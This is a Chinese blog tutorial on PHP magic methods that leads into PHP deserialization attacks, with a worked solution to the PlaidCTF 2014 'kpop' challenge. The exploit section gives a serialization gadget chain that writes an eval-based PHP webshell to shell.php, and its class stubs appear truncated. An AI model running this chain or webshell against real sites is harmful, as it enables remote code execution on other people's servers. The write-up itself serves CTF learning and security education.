php反序列化 引用,PHP反序列化入门之常见魔术方法

在学习 PHP 反序列化知识前,我们需要先了解一下 PHP 中的常见 魔术方法 。PHP将所有以 __ (两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

__sleep

在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。

__wakeup

在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。

6ed9c331e909ff51df01bf46c548e9a6.png

__toString

__toString() 方法用于定义一个类被当成字符串时该如何处理。

class TestClass

{

public $foo;

public function __construct($foo)

{

$this->foo = $foo;

}

public function __toString() {

return $this->foo;

}

}

$class = new TestClass('Hello');

echo $class; // 运行结果:Hello

?>

__invoke

当尝试以调用函数的方式调用一个对象时, __invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)

class CallableClass

{

function __invoke($x) {

var_dump($x);

}

}

$obj = new CallableClass;

$obj(5);

var_dump(is_callable($obj));

?>

__construct

具有 __construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。

__destruct

__destruct函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__set

给不可访问属性赋值时, __set() 会被调用。

__get

读取不可访问属性的值时, __get() 会被调用。

__isset

__unset

对不可访问属性调用 unset() 时, __unset() 会被调用。

__call

在对象中调用一个不可访问方法时, __call() 会被调用。

class MethodTest{

public function __call($name, $arguments){

// Note: value of $name is case sensitive.

echo "Triggering __call method when calling method '$name' with arguments '" . implode(', ', $arguments). "'.\n";

}

}

$obj = new MethodTest;

$obj->callTest('arg1','arg2');

/*运行结果

Triggering __call method when calling method 'callTest' with arguments 'arg1, arg2'.

*/

?>

__callStatic

在静态上下文中调用一个不可访问方法时, __callStatic() 会被调用。

class MethodTest{

public static function __callStatic($name, $arguments){

// Note: value of $name is case sensitive.

echo "Triggering __call method when calling method '$name' with arguments '" . implode(', ', $arguments). "'.\n";

}

}

MethodTest::callStaticTest('arg3','arg4'); // As of PHP 5.3.0

/*运行结果

Triggering __call method when calling method 'callStaticTest' with arguments 'arg3, arg4'.

*/

?>

例题一

我们以 plaidctf-2014 中 kpop 题目为例,题目环境点 这里 下载。假设题目运行环境为PHP7,且 /var/www/html/kpop/logs/ 目录下的所有文件没有执行权限。我们把关注点放在 classes.php 文件。

f40da58efe1219e15aefbdbd78feb264.png

很快,我们便发现了 Logger 类和 Song 类有一个相同名字的 log 方法,而且 Lyrics 类的 __destruct 方法调用了 log 方法。那么如果我们能找到可控的反序列化点,就可以利用程序原本提供的写日志功能进行写shell。

1709a262932cab834bec5a202701579c.png

通过简单搜索,我们发现在 import.php 中,存在可利用的反序列化点。

2791f920de4e9851960be79ca6c5ea73.png

我们使用如下程序生成 exp 即可获得写入 shell :

class OutputFilter {

};

class LogFileFormat {

};

class LogWriter_File {

function __construct($filename, $format) {

// $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));

$this->filename = $filename;

$this->format = $format;

}

};

class Logger {

};

class Lyrics {

};

$filter = new OutputFilter("//i", "<?php eval(\$_POST[_]);?>");

$format = new LogFileFormat(array($filter), "\n");

$writer = new LogWriter_File('../shell.php', $format);

$song = new Logger($writer);

$lyrics = new Lyrics(1, $song);

echo base64_encode(serialize($lyrics));

5428dbd3fa88655d98572beafc331984.png

整个攻击思路可以总结成如下一张图:

ae344738536638f7b83f4272114ef6e0.png

例题二

这题讲的是 PHP 中 __wakeup 函数的绕过,具体可以参考以往写的文章: PHP反序列化绕过__wakeup方法(PHP-Bug-72663)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值